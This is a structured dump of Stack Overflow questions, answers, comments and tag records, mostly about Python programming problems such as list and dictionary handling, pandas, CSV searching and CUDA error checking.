has text: The second line of your code says "add companyName to my array". The fourth line of your code says "if companyName is not in my array, do this stuff". That _can never be true_, because _you just added it_.
comment on: http://stackoverflow.com/q/46923003
type: Comment

math
tags question: http://stackoverflow.com/q/46983427
tags question: http://stackoverflow.com/q/47005884
tags question: http://stackoverflow.com/q/46934615
tags question: http://stackoverflow.com/q/46978948
tags question: http://stackoverflow.com/q/46988603
type: Tag
tags question: http://stackoverflow.com/q/47014736
tags question: http://stackoverflow.com/q/47016504
tags question: http://stackoverflow.com/q/46958547
tags question: http://stackoverflow.com/q/46946046
tags question: http://stackoverflow.com/q/47026148
tags question: http://stackoverflow.com/q/47010022
tag name: math
tags question: http://stackoverflow.com/q/46934316
tags question: http://stackoverflow.com/q/46988517
tags question: http://stackoverflow.com/q/46976627
tags question: http://stackoverflow.com/q/46991671

http://stackoverflow.com/a/47006325
score: 1
has comment: http://stackoverflow.com/comment/81000727
downvote count: 0
has body: This is not actually a solution to your segfault problem, but a way to finding the actual culprit behind the segfault. There's no error checking in your code. How do you expect to find the error? Use the following function to wrap all your CUDA calls: #define gpuErrchk(ans) { gpuAssert((ans), __FILE__, __LINE__); } inline void gpuAssert(cudaError_t code, const char *file, int line, bool abort=true) { if (code != cudaSuccess) { fprintf(stderr,"GPUassert: %s %s %d\n", cudaGetErrorString(code), file, line); if (abort) exit(code); } } Now to modify your code: extern "C" { void VectorConvolve(float *a, float *b, float *c, size_t n_a, size_t n_b, size_t half) { float *d_a, *d_b, *d_c; gpuErrchk(cudaMalloc( &amp;d_a, n_a*sizeof(float))); gpuErrchk(cudaMalloc( &amp;d_b, n_b*sizeof(float))); gpuErrchk(cudaMalloc( &amp;d_c, n_a*sizeof(float))); gpuErrchk(cudaMemcpy( d_a, a, n_a*sizeof(float), cudaMemcpyHostToDevice)); gpuErrchk(cudaMemcpy( d_b, b, n_b*sizeof(float), cudaMemcpyHostToDevice)); gpuErrchk(cudaMemcpy( d_c, c, n_a*sizeof(float), cudaMemcpyHostToDevice)); d_VectorConvolve &lt;&lt;&lt; ceil(n_a / 256.0), 256 &gt;&gt;&gt; (d_a, d_b, d_c, n_a, n_b, half); // check if cuda kernel executed correctly gpuErrchk(cudaPeekAtLastError()) // make sure kernel execution has ended gpuErrchk(cudaDeviceSynchronize()) gpuErrchk(cudaMemcpy( c, d_c, n_a*sizeof(float), cudaMemcpyDeviceToHost)); gpuErrchk(cudaFree(d_a)); gpuErrchk(cudaFree(d_b)); gpuErrchk(cudaFree(d_c)); } }
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/80960592
answers question: http://stackoverflow.com/q/47005775
has comment: http://stackoverflow.com/comment/80960487

http://stackoverflow.com/comment/80983837
type: QuestionComment
score: 0
has text: If you have a string just do str.strip('\n') / str.strip('\n', '') https://stackoverflow.com/questions/9347419/python-strip-with-n
comment on: http://stackoverflow.com/q/47018637
type: Comment

http://stackoverflow.com/a/47024344
upvote count: 3
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47023285
downvote count: 0
has body: Here is an example: t = datetime.datetime.strptime(i.image.creation_date, "%Y-%m-%dT%H:%M:%S.%fZ") The string for image.creation_date looks like "2017-08-11T09:31:59.000Z" To get the time in seconds since 1970: secs = t.timestamp()
type: Answer
answers question: http://stackoverflow.com/q/47023285
score: 3

http://stackoverflow.com/q/47005027
has comment: http://stackoverflow.com/comment/80987260
tagged with: python
linked to: http://stackoverflow.com/q/588004
has comment: http://stackoverflow.com/comment/80987590
has comment: http://stackoverflow.com/comment/80983187
has comment: http://stackoverflow.com/comment/80957070
has comment: http://stackoverflow.com/comment/80987926
has comment: http://stackoverflow.com/comment/80984980
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/80956541
upvote count: 3
has comment: http://stackoverflow.com/comment/80956782
downvote count: 0
has body: I am trying to, as the title suggests, loop through a list of data to create pairs and continue doing so until no more pairs can be made. For context, I am working with floats, and want to go through all elements in the list, and then compare them to every other element to see if they are within 0.03 above or below the current item. If they are, then I am trying to create a tuple within the list of them which is made of a high and a low. I then want to continue looping through the entire list until all "ranges" that group together are grouped. I've tried to frankenstein some code together, using what python knowledge I have and by breaking this up into smaller issues that can be individually looked at but haven't got anything to work so far. The nearest I have come is the incomplete code below: s = [] t = () for item in items: for v in items: if v &lt; (item + 0.03) and v &gt; (item - 0.03): t = (item, v) s.append(t) Though I am not sure where to insert the loop, or how to condition it and I am not yet replacing matching items with a tuple, this is just the rough start. What the outcome should be is something like this (I'm not picky on the specifics as long as I can create all the groups): Initial List: 1.05, 1.07, 1.18, 1.19, 1.22, 1.26, 1.30, 1.32 On the first pass this creates: [(1.07, 1.05), (1.19, 1.18), 1.22, 1.26, (1.30, 1.32)] At this point paired numbers are in tuples where the first position is the high of the range, the second is the low of the range. Next Pass (and last for this short example): [(1.07, 1.05), (1.22, 1.18), 1.22, 1.26, (1.30, 1.32)] Note that the previous high for the second tuple was replaced by the new high that fell within that range of 0.03, 1.22 This is just how I imagine it unfolding, but as long as I achieve that end result of finding all the ranges of pairs then I'll be successful. To explain the why: I am looking for "zones" on a graph (or rather the data points of a line graph). I define similar points as 0.03 away from each ot…
has comment: http://stackoverflow.com/comment/80956643
has title: Comparing data in a list in python in a loop until no more pairs can be made
favorite count: 0
has comment: http://stackoverflow.com/comment/80985038
possible better answer: http://stackoverflow.com/a/47020439
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80956729
score: 3
accepted answer: http://stackoverflow.com/a/47021224
has answer: http://stackoverflow.com/a/47020439
has comment: http://stackoverflow.com/comment/80956529
has answer: http://stackoverflow.com/a/47021224
has comment: http://stackoverflow.com/comment/80987173

http://stackoverflow.com/a/47055175
has body: I have written a simplified test script and cannot reproduce your error. I am using Python 3.6.1 and Pandas 0.20.3. The test script uses a constant 306 MB of RAM (at least for the first 100 million rows, it's still running). You could try this script and see if it still produces the memory leak with you? It can serve as a starting point for your debugging. import os import time import numpy as np import pandas as pd import matplotlib.pylab as plt SOURCE = 'test.csv' CHUNCKSIZE = int(5e5) def main(): if not os.path.exists(SOURCE): df = pd.DataFrame(np.random.rand(1000000, 4), columns=list('ABCD')) df.to_csv(SOURCE) del df print("df %s ready" %(SOURCE)) i=0; lines=[]; timings = [] while(i &lt; int(7e8)): t = time.time() print(i, end = ' ') i += CHUNCKSIZE chunk = pd.read_csv(SOURCE, chunksize=CHUNCKSIZE) chunk = pd.concat(chunk, ignore_index=True) chunk.to_csv('enriched.csv', mode='a', header=False, index=False) print(" in %.3f seconds" %(time.time() -t)) lines.append(i) timings.append(time.time()-t) plt.figure(figsize=(10,5)) plt.plot(lines, timings, 'o-') plt.xlabel("Nr of lines"); plt.ylabel("Time for last chunck") plt.show() if __name__ == "__main__": st = time.time() main() print("--- total runtime %.3f seconds ---" %(time.time() - st))
score: 0
answers question: http://stackoverflow.com/q/47053275
type: Answer

clickjacking
tag name: clickjacking
type: Tag
tags question: http://stackoverflow.com/q/46909053

http://stackoverflow.com/comment/80879729
has text: @StefanPochman I'll reword question and divide it into challenge description and my problem.
type: Comment
comment on: http://stackoverflow.com/q/46965577
type: QuestionComment
score: 0

http://stackoverflow.com/comment/127736615
has text: @flowfelis it's a good thing that's not the code we're talking about then. The question was why the OP's message wasn't being logged in their code.
comment on: http://stackoverflow.com/a/46989121
score: 0
type: AnswerComment
type: Comment

grasshopper
tag name: grasshopper
type: Tag
tags question: http://stackoverflow.com/q/47002059

http://stackoverflow.com/a/47059790
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/81076327
has comment: http://stackoverflow.com/comment/81075296
answers question: http://stackoverflow.com/q/47059140
has body: Looking at your code, it looks like an error occurs inside of your try block. Unfortunately, I can only assume at the moment, that the error happens during the curses.initscr() call. Your finally block is always execute, even if an error occurred. To diagnose this further: Can you add a except to your try block and print the error? If you see an error like AttributeError: 'Module' object has no attribute 'initscr', then you probably named your python script curses. Rename it and delete the 'curses.pyc' file.

http://stackoverflow.com/q/46912753
has answer: http://stackoverflow.com/a/51029854
type: UnansweredQuestion
score: 1
tagged with: path
tagged with: python
has body: So this is my project structure: project folder ├───data │ └───external │ └───data.csv └───src └───data └───make_data.py If I run this in in pycharm with "run", so in terminal there is no problem. I like working interactively with the python console in pycharm, but then the path cannot be found as it is executed in the working directory "project folder". Consequently, when I remove the part "../.." it also works in the python console. I have marked src folder and the subfolders as sources root and the data folder and subfolder as resource root. In the settings of the python console in pycharm I have ticked both "Add contents/source roots to PYTHONPATH". import os.path import pandas as pd fileDir = os.path.dirname(os.path.abspath('__file__')) filename = os.path.join(fileDir, '../../data/external/data.csv') df = pd.read_csv(filename) How can I achieve that it works one way in the console and the terminal?
tagged with: pycharm
has title: pycharm path difference for console and terminal
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/46939690
has body: You can set a flag on the double-clicked item using a custom role: class MainWindow(QMainWindow): def __init__(self): ... qTreeView.setModel(PrjTreeModel()) qTreeView.doubleClicked.connect(self.dClicked) def dblClicked(self, index): item = index.model().itemFromIndex(index) if not item.data(Qt.UserRole + 1): item.setData(True, Qt.UserRole + 1) print('open txt file:', item.text()) else: print('already double-clicked')
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46924740

openpyxl
tags question: http://stackoverflow.com/q/46952266
tags question: http://stackoverflow.com/q/46971652
tags question: http://stackoverflow.com/q/46998174
tags question: http://stackoverflow.com/q/46998113
type: Tag
tags question: http://stackoverflow.com/q/46910600
tags question: http://stackoverflow.com/q/46909768
tags question: http://stackoverflow.com/q/46992106
tag name: openpyxl
tags question: http://stackoverflow.com/q/46983216
tags question: http://stackoverflow.com/q/46994880

http://stackoverflow.com/a/47044275
answers question: http://stackoverflow.com/q/47043660
downvote count: 0
upvote count: 1
type: Answer
has body: Ok, I had a go at it. So you know the first part: part1 = itertools.product(LISTA, LISTB) Which results in: [('A1', 'B1_C'), ('A1', 'B2_D'), ('A2', 'B1_C'), ('A2', 'B2_D')] You could then group by the last character of the last element of each tuple: keyfunc = lambda x: x[1][-1:] grouped = itertools.groupby(sorted(part1, key=keyfunc), keyfunc) # convert group object to dictionary grouped_dict = dict((k, list(v)) for k, v in grouped) That gives you this: {'C': [('A1', 'B1_C'), ('A2', 'B1_C')], 'D': [('A1', 'B2_D'), ('A2', 'B2_D')]} Now you can do a product on each group, and join them back up: c = itertools.product(grouped_dict['C'], LISTC) d = itertools.product(grouped_dict['D'], LISTD) part2 = itertools.chain(c, d) Which leaves you with: [(('A1', 'B1_C'), 'C1'), (('A1', 'B1_C'), 'C2'), (('A2', 'B1_C'), 'C1'), (('A2', 'B1_C'), 'C2'), (('A1', 'B2_D'), 'D1'), (('A1', 'B2_D'), 'D2'), (('A2', 'B2_D'), 'D1'), (('A2', 'B2_D'), 'D2')] Finally, you can flatten each element again: part2 = itertools.imap(lambda x: x[0] + (x[1],), part2) Which gets you the final result: [('A1', 'B1_C', 'C1'), ('A1', 'B1_C', 'C2'), ('A2', 'B1_C', 'C1'), ('A2', 'B1_C', 'C2'), ('A1', 'B2_D', 'D1'), ('A1', 'B2_D', 'D2'), ('A2', 'B2_D', 'D1'), ('A2', 'B2_D', 'D2')] Here's the code if you want to play with it.
score: 1

http://stackoverflow.com/q/46985093
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80917792
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80917975
tagged with: python
has body: I have been attempting to turn the index of a list into a float so that I can append it to a new list for each iteration of the loop so that I can eventually take the minimum value of that final appended list. When I do something like a = '4.34324' f = float(a) in the python shell, it seems to work fine, but I can't figure why this isn't working. For reference, tdlist is a list of lists, and when I do print(TMINlist[tdlist.index(x)]) the output is the string '60.6' so I can't figure out why it won't convert it to a float. My code is below, and the problem is in line 8. TMINlist = [] for pos in range(len(tdlist)): TMINlist.append(tdlist[pos][10]) TMINlist2 = [] for x in tdlist: if int(x[1][1]) == month: if x != '': a = (TMINlist[tdlist.index(x)]) value = float(a) TMINlist2.append(value) else: continue With the print(repr()) statement added, It returns this and the error: '60.6' '' Traceback (most recent call last): File "C:/Users/liamm/Dropbox/Hw/Homework 5/hw5Part2.py", line 57, in &lt;module&gt; value = float(a) builtins.ValueError: could not convert string to float: An example snippet of the list is: [['TROY LOCK AND DAM NY', ['2014', '01'], '18', '0', '-9', '6.8', '58', '2.16', '12.7', '19.8', '29.2', '10.4\n'], ['TROY LOCK AND DAM NY', ['2014', '02'], '20', '0', '-7', '12', '53', '4.08', '24.6', '22.2', '31.2', '13.4\n']]
has title: builtins.ValueError: could not convert string to float
has answer: http://stackoverflow.com/a/46985220
has comment: http://stackoverflow.com/comment/80917630
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80917948
has comment: http://stackoverflow.com/comment/80917825
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80917558
has comment: http://stackoverflow.com/comment/80917904

http://stackoverflow.com/comment/80867019
has text: The struct module seems helpful, but I cant seem to find the correct parsing for `char[32]; int; float; float; float; float` for example
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46958247
score: 0

http://stackoverflow.com/a/47046822
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47046687
has comment: http://stackoverflow.com/comment/81041104
has comment: http://stackoverflow.com/comment/81041118
type: Answer
has body: First reindex the dataframes and then create two barplots using the data. The positioning of the rectangles is given by (x - width/2, x + width/2, bottom, bottom + height). import numpy as np index = np.arange(0, 24) bar_width = 0.3 df1 = df1.set_index('hour').reindex(index) df2 = df2.set_index('hour').reindex(index) plt.figure(figsize=(10, 5)) plt.bar(index - bar_width / 2, df1.value, bar_width, label='df1') plt.bar(index + bar_width / 2, df2.value, bar_width, label='df2') plt.xticks(index) plt.legend() plt.tight_layout() plt.show()
has comment: http://stackoverflow.com/comment/81041122
has comment: http://stackoverflow.com/comment/81041053
has comment: http://stackoverflow.com/comment/81041078
has comment: http://stackoverflow.com/comment/81041159
has comment: http://stackoverflow.com/comment/81041024
answers question: http://stackoverflow.com/q/47046687
downvote count: 0

http://stackoverflow.com/comment/80936021
has text: Very helpful! Just to clarify I'm understanding this correctly, would the best practice currently be a single main program `run()` that has 1) `with beam.Pipeline(options=pipeline_options) as p1:` to write to BQ and then 2) `with beam.Pipeline(options=pipeline_options) as p2:` to read from BQ or are you suggesting within the main program to actually have two separate `run()` functions?
comment on: http://stackoverflow.com/a/46993753
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/comment/80909943
score: 2
has text: Because PDF files can share resources across pages and you won't know how well the resources will consolidate ahead of time, especially if you are subsetting fonts or have repeated images like a logo, you won't be able to just grab chunks of pages and know that they will result in a certain file size. You'll need to start with a single page and then add pages one by one, saving the file each time and then testing its size. Then delete the last page when the file size exceeds your maximum and resave the file, then start a new file with just the deleted page until you reach the end of the file.
type: Comment
comment on: http://stackoverflow.com/q/46979400
type: QuestionComment

http://stackoverflow.com/comment/80948965
type: Comment
has text: @AshishRanjan You can keep writing it's not and I can keep writing that it is. It will not change the fact that XML is **nonregular** and should not be parsed with ***regular** expression*
type: AnswerComment
comment on: http://stackoverflow.com/a/47000287
score: 0

http://stackoverflow.com/comment/80930397
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/46991903
type: Comment
has text: @Bharathshetty Me, too, although here I'm more happy with the `type(x)(...)` construct. Haven't seen that before.

http://stackoverflow.com/q/46997241
tagged with: function
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46997341
accepted answer: http://stackoverflow.com/a/46997341
possible better answer: http://stackoverflow.com/a/46997313
has comment: http://stackoverflow.com/comment/80941099
has title: Comparing 2 lists and returning matches
has body: I have two functions that are related to one another - the first one removes characters that are the same and in the same position, and returns the ones that do not match: def remove(l1, l2): r = [] for char in range(len(l1)): if l1[char] != l2[char]: r.append(l1[char]) return r While this function goes through both lists, and removes the same values by using the previous function. Then using what's left it finds values that are the same in b (but they don't need to be in the same position). def search(a, b): found = [] elim = remove(a, b) for char in elim: if char in b: find = 'y' found.append(find) return found While I am able to return the correct amount of 'y's for the other examples I use, it breaks when I have more than one of the same value. If there is only 1 'V' in list 'b', but 2 in list 'a', I only want 1 'y' returned for it, not 2. Since I'm not sure where to go from here, my function returns this: search(['L', 'F', 'V', 'V'], ['V', 'F', 'O', 'R']) Expected: ['y'] Got: ['y', 'y'] Thanks in advance!
has answer: http://stackoverflow.com/a/46997313
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80941285
has comment: http://stackoverflow.com/comment/80941161
has comment: http://stackoverflow.com/comment/80941427
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/80941196
tagged with: list
has answer: http://stackoverflow.com/a/46997544
answer count: 3
has comment: http://stackoverflow.com/comment/80941900

http://stackoverflow.com/q/46911622
type: Question
has body: I have a dictionary like this: [{'ID': 17, 'DATE': '20161123', 'VAL': 100}, {'ID': 26, 'DATE': '20161223', 'VAL': 500 }, {'ID': 26, 'DATE': '20161023','VAL': 300 }, {'ID': 26, 'DATE': '20161013','VAL': 400 }, {'ID': 17, 'DATE': '20161103', 'VAL': 150 }, {'ID': 17, 'DATE': '20161023', 'VAL': 250 }] dates= [20161001, 20161025] ID = 26 How can filter based on ID and date between two specific dates to get specific rows? result = [{'ID': 26, 'DATE': '20161023','VAL': 300 }, {'ID': 26, 'DATE': '20161013','VAL': 400 }]
answer count: 2
score: -2
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46911690
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/46911690
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/80770160
has answer: http://stackoverflow.com/a/46911720
downvote count: 3
possible better answer: http://stackoverflow.com/a/46911720
has title: How to filter list of dictionaries based on a string value and two dates
has comment: http://stackoverflow.com/comment/80770307
favorite count: 0

http://stackoverflow.com/q/47044274
tagged with: python-3.x
tagged with: python
has comment: http://stackoverflow.com/comment/81036175
type: AnsweredQuestion
score: 0
has body: It's uncomfortable code, I know, and sorry. Especially, if it's a stupid question. Here is an error with list, and I don't know why (I'm beginner). Can someone, please, tell me, how to fix it? This is the output: Traceback (most recent call last): File "C:/Users/milom/PycharmProjects/ChislM/method.py", line 77, in &lt;module&gt; vx, vy = rk3(diff1, 0, U0, 10, 100) File "C:/Users/milom/PycharmProjects/ChislM/method.py", line 39, in rk3 x,v=step(f, h, i, x0, U0) File "C:/Users/milom/PycharmProjects/ChislM/method.py", line 11, in step k2 = f(x[i] + (1 / 3) * h[i], v[i] + (1 / 3) * k1) IndexError: list index out of range Code: import matplotlib.pyplot as plt import math as m import pandas as pd x =[0]*101 v =[0]*101 def step(f, h, i, x0, U0): x[0] = x0 v[0] = U0 k1 = f(x[i], v[i]) k2 = f(x[i] + (1 / 3) * h[i], v[i] + (1 / 3) * k1) k3 = f(x[i] + (2 / 3) * h[i], v[i] + (2 / 3) * h[i] * k2) x[i] = x[i - 1] + h[i] v[i] = v[i - 1] + (h[i]) * ((1 / 4) * k1 + (3 / 4) * k3) return x, v def rk3(f, x0, U0, x1, n): h = [(x1 - x0) / float(n)] for i in range(1, n+1): x,v=step(f, h, i, x0, U0) ###h= control(f, h[i], i, v[i], x0, U0) return x, v def diff1(x, U): return 0.1 def diff(x, U): return -(m.cos(10 * x) + ((m.log(1 + x ** 2)) / (1 + x)) * (U ** 2) + U) def exact_path(): plt.grid() plt.plot(vx, vy) plt.show() def table(): mytable = pd.DataFrame({ 'Xn': vx, 'Vn': vy, }, index=[i for i in range(0, 101)]) mytable.index.name = 'number' pd.set_option('display.max_rows', None) print(mytable) task = int(input("Task:")) U0 = float(input("First value- U0:")) if task == 2: vx, vy = rk3(diff, 0, U0, 10, 100) table() exact_path() if task == 1: vx, vy = rk3(diff1, 0, U0, 10, 100) table() exact_path() P.S. It's a simple 3th order Runge-Kutta method, but mostly problem with synthax. I tried to implement method with Python.
has title: Error with list index out of range
has comment: http://stackoverflow.com/comment/81036059
answer count: 1
has answer: http://stackoverflow.com/a/47044679
accepted answer: http://stackoverflow.com/a/47044679
type: Question

http://stackoverflow.com/q/46988775
has answer: http://stackoverflow.com/a/46988839
accepted answer: http://stackoverflow.com/a/46988839
answer count: 1
favorite count: 0
type: Question
score: 3
tagged with: powershell
tagged with: python
has title: Installing Python 3.6.3 - "api-ms-win-crt-runtime-l1-1-0.dll" is missing from my Win8Pro64bit computer
has body: OS: Windows 8 64bit with the latest update. Objective: Run Python.exe with Powershell as an administrator. I've changed the path to include the script but when I try to open Python I get an error code. I receive the same error during the installation. api-ms-win-crt-runtime-l1-1-0.dll is missing from my computer. How would I go about resolving this issue.
type: AnsweredQuestion
upvote count: 3
tagged with: installation
downvote count: 0

http://stackoverflow.com/a/46986306
answers question: http://stackoverflow.com/q/46986261
downvote count: 0
type: Answer
score: 4
upvote count: 4
has body: Another possible solution is s = "stackoverflow" toggle = True # If true, remove first char. Else, cut last char. left = 0 # number of spaces to prepend right = 0 # number of spaces to append while s: # while s is not empty print(' '*left + s + ' '*right) if toggle: s = s[1:] # remove first char left += 1 else: s = s[:-1] # remove last char right += 1 toggle = not toggle which gives output stackoverflow tackoverflow tackoverflo ackoverflo ackoverfl ckoverfl ckoverf koverf kover over ove ve v

http://stackoverflow.com/comment/80785650
has text: That was the class with method, you must include the module: `datetime.datetime.fromtimestamp(aTimeStamp, tz=aTimeZone)`
score: 0
comment on: http://stackoverflow.com/q/46918969
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46994492
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46994550
score: 0
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/80937209
has comment: http://stackoverflow.com/comment/80946019
has comment: http://stackoverflow.com/comment/80935465
possible better answer: http://stackoverflow.com/a/46994597
favorite count: 0
type: Question
upvote count: 2
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: excel
has title: Searching for Item in CSV
has answer: http://stackoverflow.com/a/46994597
has body: I'm trying to search through a .csv file (that I open in Excel) and find a specific number in a field. The number I'm searching for comes from a user input in a GUI. If the number is found in the field, then all items on the same row, in other fields, will be outputted. This is what the file has in it: screen shot of the file in excel The problem is that I can't seem to create a piece of code that can read through the .csv and find the number. This is what I have so far (this is only the part of the code that doesn't work): def search(): # defining the function term=str(e3.get()) # getting the user input and setting it to the varible 'term' import csv # from all my researching, this is required to open the file open('Book1.csv') # opens the file # the code to look through the file would be here. It must search for the number in the correct field and output an error if it can't find it print() #this will print the data in the same row as the number from the different fields for the user If you have a solution, please give me the code that will do exactly what I need it to do. I would appreciate if you explained what it did but it doesn't matter if you don't. Thanks for replying in advance.
accepted answer: http://stackoverflow.com/a/46994550

http://stackoverflow.com/q/46962495
tagged with: mocking
type: AnsweredQuestion
downvote count: 0
tagged with: init
answer count: 1
tagged with: unit-testing
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46962700
has answer: http://stackoverflow.com/a/46962700
tagged with: python
has title: Mock function call inside init method Python
score: 4
upvote count: 4
has body: I'm writing a unit test to make sure my class object is created correctly, and this object relies on getting contents from s3. I want to mock out the function that calls s3 inside it completely,: class SomeClassTest(unittest.TestCase): @patch('someDir.util._call_to_s3') def test_someclass_load(self, magic_mock): magic_mock.return_value = {"host": "bogus.com"} some_class = SomeClass() self.assertGreater(len(some_class), 0) class SomeClass(): def __init__(): try: content = _call_to_s3(bucket_name, file_name) except: rest of code ... How do I mock out the function _call_to_s3 which is defined in another library file?

http://stackoverflow.com/comment/81033183
score: 1
has text: So, just so you can force this into a `dict` comprehension, youc all `l.split` twice each iteration of your loop?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47043074

http://stackoverflow.com/comment/80906914
type: QuestionComment
has text: What is the connection between the string `"\\302\\247\\303\\277\\001\\036\\303\\211\\000n\\"` and the number `0x394839F`? If you can describe the process in words, then try to translate the words into Python code. If you're having trouble with that last part, feel free to ask about a *specific problem* while providing a [mcve] and you will get much better responses.
comment on: http://stackoverflow.com/q/46979682
score: 1
type: Comment

http://stackoverflow.com/comment/80911539
type: QuestionComment
comment on: http://stackoverflow.com/q/46978748
score: 0
has text: @MaorVeitsman print bus_rev and print(bus_rev) return nothing. It just updates the number to the right of the cell in the jupyter notbook, but nothing is returned below the cell. Example, In [54]
type: Comment

http://stackoverflow.com/q/47004311
has title: Replace the text between two lines with new text and keep the rest of the file unchanged
duplicate of: http://stackoverflow.com/q/39086
tagged with: python
downvote count: 1
has body: I have the text file (input.txt) *HEADING *NODE, NSET=ALLNODES 1, 0.000000e+00, 0.000000e+00, 0.000000e+00 2, 2.500000e-01, 0.000000e+00, 0.000000e+00 *ELEMENT, TYPE=S9R5, ELSET=EB1 ... ... ... ... ** * END OF FILE My goal is replace all the lines between the lines (*ELEMENT, TYPE=S9R5, ELSET=EB1) and (**) with a new lines. and keep the rest of the file unchanged. Any solution using: open('input.txt', 'w') as f1: would erase everything in the file and write the new two lines and this is not the thing I need.
duplicate of: http://stackoverflow.com/q/17140886
has comment: http://stackoverflow.com/comment/80955130
answer count: 1
score: -1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47004373
has comment: http://stackoverflow.com/comment/80955096
linked to: http://stackoverflow.com/q/39086
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/17140886
upvote count: 0

http://stackoverflow.com/q/46936934
has answer: http://stackoverflow.com/a/46937053
score: 2
type: AnsweredQuestion
tagged with: list
answer count: 3
accepted answer: http://stackoverflow.com/a/46937233
upvote count: 3
has comment: http://stackoverflow.com/comment/80821470
downvote count: 1
has comment: http://stackoverflow.com/comment/80821514
favorite count: 0
type: Question
has title: Comparing 2 dictionaries in python and create a list with values from dictionary
has body: I have 2 dictionaries. dict1={'Name':'','Age':'','Salary':''} dict2={'Name':'John','Salary':'25k'} Required output is a list where if the key is matching the matching key's value will be added to the list. If not matching, a space has to be populated to the list. For example, Age is not available in dict2 and hence the 2nd item in list should be space and the output order should not change. [John, ,25k] So far i tried using a for loop to find matching keys, but not sure how to populate spaces for non-matching values and to maintain the order in dict1. Any help would be highly appreciated. Thanks in advance
has comment: http://stackoverflow.com/comment/80821236
tagged with: compare
has answer: http://stackoverflow.com/a/46937133
has answer: http://stackoverflow.com/a/46937233
possible better answer: http://stackoverflow.com/a/46937053
tagged with: python
tagged with: dictionary
tagged with: python-3.6

http://stackoverflow.com/comment/81014961
type: QuestionComment
comment on: http://stackoverflow.com/q/47034287
type: Comment
has text: I think a mcve would be nice - https://stackoverflow.com/help/mcve
score: 0

http://stackoverflow.com/a/46914060
has comment: http://stackoverflow.com/comment/80777661
has comment: http://stackoverflow.com/comment/80777915
score: 0
answers question: http://stackoverflow.com/q/46913785
has comment: http://stackoverflow.com/comment/80777802
has comment: http://stackoverflow.com/comment/80777486
has comment: http://stackoverflow.com/comment/80777829
has comment: http://stackoverflow.com/comment/80777589
has body: You don't need the inspect package. Everything you need is built-in. &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; for name, obj in np.__dict__.items(): ... if hasattr(obj,"tolist"): ... print name, obj
has comment: http://stackoverflow.com/comment/80775987
has comment: http://stackoverflow.com/comment/80775372
type: Answer

http://stackoverflow.com/a/46993381
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/46993309
has comment: http://stackoverflow.com/comment/80933403
has comment: http://stackoverflow.com/comment/80933466
has comment: http://stackoverflow.com/comment/80933239
has comment: http://stackoverflow.com/comment/80933381
downvote count: 0
has comment: http://stackoverflow.com/comment/80933355
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/80933556
accepted answer of: http://stackoverflow.com/q/46993309
has body: map returns an iterator. By calling list on it you're consuming it, thus leaving it empty for the following code. If you want to reuse the sequence of numbers several times (e.g., for printing and then summing), you could save the list: numArray = list(map(int, input('input content:').split()))

http://stackoverflow.com/comment/80869347
comment on: http://stackoverflow.com/a/46945776
has text: @Rubens all the details are in the [data model](https://docs.python.org/3/reference/datamodel.html#), so for example this snippet: "Custom class types are typically created by class definitions (see section Class definitions). A class has a namespace implemented by a dictionary object. Class attribute references are translated to lookups in this dictionary, e.g., `C.x` is translated to `C.__dict__["x"]` (although there are a number of hooks which allow for other means of locating attributes). **When the attribute name is not found there, the attribute search continues in the base classes.**"
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/a/46963656
type: Answer
has body: Thanks to piRSquared there is an easier syntax. As mentioned in the comment, the df.eval syntax is new and it worked. However, the syntax that seems to 'fit' the paradigm that excel spreadsheets use is the third syntax stdf['truSpeed'] = stdf['nSpeed'] * stdf['truAcc'] * .1 I think the keyerror originally generated must have been caused by some other error since using the identifier 'truSpeed' works just find to create the new column in the data frame.
score: 0
answers question: http://stackoverflow.com/q/46943617

http://stackoverflow.com/a/46953515
downvote count: 0
upvote count: 1
score: 1
type: Answer
has body: Probably not the most readable, but here's a for loop-free implementation: def transform(array): def inner(cumulator, row): product_name = row['product_name'] bucket = cumulator.get(product_name, {'quantity': 0, 'price': 0}) cumulator[product_name] = { 'quantity': bucket['quantity'] + row['quantity'], 'price': bucket['price'] + row['price'], } return cumulator return reduce(inner, array, {}) And then you just transform(list) // {'4x6': {'price': 1.16, 'quantity': 4}}
answers question: http://stackoverflow.com/q/46953090

http://stackoverflow.com/comment/83966621
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47045351
has text: I got the same bug, but I had installed version 9.6 not 10 - so how was that possible? Tom

http://stackoverflow.com/comment/80931874
type: Comment
type: QuestionComment
has text: Yes, it's very weird. I've been trying to figure this out for nearly a month. I'll try training a simple GLM on random images and see if the issue persists.
score: 0
comment on: http://stackoverflow.com/q/46992022

http://stackoverflow.com/comment/80852123
